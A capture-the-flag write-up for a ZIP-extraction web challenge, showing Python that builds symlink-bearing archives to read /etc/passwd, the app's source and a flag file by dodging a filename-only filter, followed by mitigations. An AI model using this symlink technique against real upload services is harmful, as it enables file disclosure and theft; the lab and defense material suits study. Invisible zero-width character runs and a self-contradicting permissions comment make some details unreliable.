← Back to Writeups
CUSTOMMediumMisc

138 - Распаковщик (Unpacker)

XESXOR9/2/20263 min read
#misc#custom#medium#filter_bypass#local_file_inclusion#source_code_leak#zip_symlink_attack#linux

138 - Распаковщик (Unpacker)

Platform: duckerz | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: filter_bypass, local_file_inclusion, source_code_leak, zip_symlink_attack

Summary

Task: ZIP file upload service that extracts archives. Solution: ZIP symlink attack to achieve LFI, bypassing filename-based filter to read the flag.

138 - Распаковщик (Unpacker) — duckerz

Description

Вы нашли старый веб-сервис для распаковки ZIP-архивов, сохранившийся с тех времён, когда 50 КБ считалось серьёзным ограничением.

(Translation: "You found an old web service for unpacking ZIP archives, preserved from the times when 50 KB was considered a serious limitation.")

URL: http://tasks.duckerz.ru:30021

Analysis

Reconnaissance

  • Web service accepts ZIP files up to 50 KB
  • Extracts them using the unzip command and displays contents
  • Backend: Flask/gunicorn on Python
  • Files are extracted to /upload/<random_hash>/ directory ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Identification

ZIP Symlink Attack - ZIP archives can contain symbolic links. When extracted via unzip, these symlinks point to arbitrary files on the system, enabling Local File Inclusion (LFI).

Solution

Step 1: Confirming the symlink vulnerability

Create a ZIP with a symlink to /etc/passwd:

python
import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    info = zipfile.ZipInfo('link_to_passwd')
    info.external_attr = 0xA1ED0000  # Unix symlink attribute
    info.create_system = 3  # Unix
    zf.writestr(info, '/etc/passwd')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with open('symlink.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Result: Successfully read /etc/passwd - vulnerability confirmed!

Step 2: Reading application source code

Create a symlink to /proc/self/cwd to access the current working directory, find main.py.

Key findings from main.py:

python
FLAG_PATH = '/secret/80e628a3/flag.txt' # Bruh, why is it here?

# Protection mechanism:
if any(word in rel_path for word in ['unusual', 'secret']):
    return redirect(url_for('index'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Bypassing the protection

The protection checks rel_path (the symlink filename), NOT the symlink target. Therefore, a symlink named flag pointing to /secret/80e628a3/flag.txt bypasses the check!

Step 4: Getting the flag

python
import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    info = zipfile.ZipInfo('flag')
    info.external_attr = 0xA1ED0000  # Unix symlink attribute
    info.create_system = 3  # Unix
    zf.writestr(info, '/secret/80e628a3/flag.txt')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with open('getflag.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Upload and access: http://tasks.duckerz.ru:30021/upload/<hash>/flag

Full Exploit

python
#!/usr/bin/env python3
"""
ZIP Symlink Attack exploit for duckerz CTF - Unpacker challenge
Creates malicious ZIP files with symlinks for LFI
"""

import zipfile
import io
import sys

def create_symlink_zip(symlink_name: str, target_path: str, output_file: str):
    """
    Create a ZIP file containing a symbolic link
    
    Args:
        symlink_name: Name of the symlink file in the archive
        target_path: Target path the symlink will point to
        output_file: Output ZIP filename
    """
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w') as zf:
        info = zipfile.ZipInfo(symlink_name)
        # 0xA1ED0000 = Unix symlink with permissions 0777
        # Breakdown: 0xA = symlink type, 0x1ED = 0755 permissions
        info.external_attr = 0xA1ED0000
        info.create_system = 3  # Unix
        zf.writestr(info, target_path)
    
    with open(output_file, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"[+] Created {output_file}")
    print(f"    Symlink: {symlink_name} -> {target_path}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    # Step 1: Read /etc/passwd to confirm vulnerability
    create_symlink_zip('passwd', '/etc/passwd', 'test_lfi.zip')
    
    # Step 2: Read application source via /proc/self/cwd
    create_symlink_zip('cwd', '/proc/self/cwd', 'read_cwd.zip')
    create_symlink_zip('main', '/proc/self/cwd/main.py', 'read_main.zip')
    
    # Step 3: Get the flag (bypass filter by using innocent filename)
    # Filter checks rel_path, not symlink target!
    create_symlink_zip('flag', '/secret/80e628a3/flag.txt', 'getflag.zip')
    
    print("\n[*] Upload getflag.zip and access /upload/<hash>/flag")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    main()

Defense

  1. Validate ZIP contents before extraction:

    python
    with zipfile.ZipFile(archive) as zf:
        for info in zf.infolist():
            if info.external_attr >> 28 == 0xA:  # symlink
                raise SecurityError("Symlinks not allowed")
  2. Use --no-symlinks flag when extracting:

    bash
    unzip --no-symlinks archive.zip
  3. Validate symlink target, not just the filename

  4. Isolation - extract in chroot/container ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References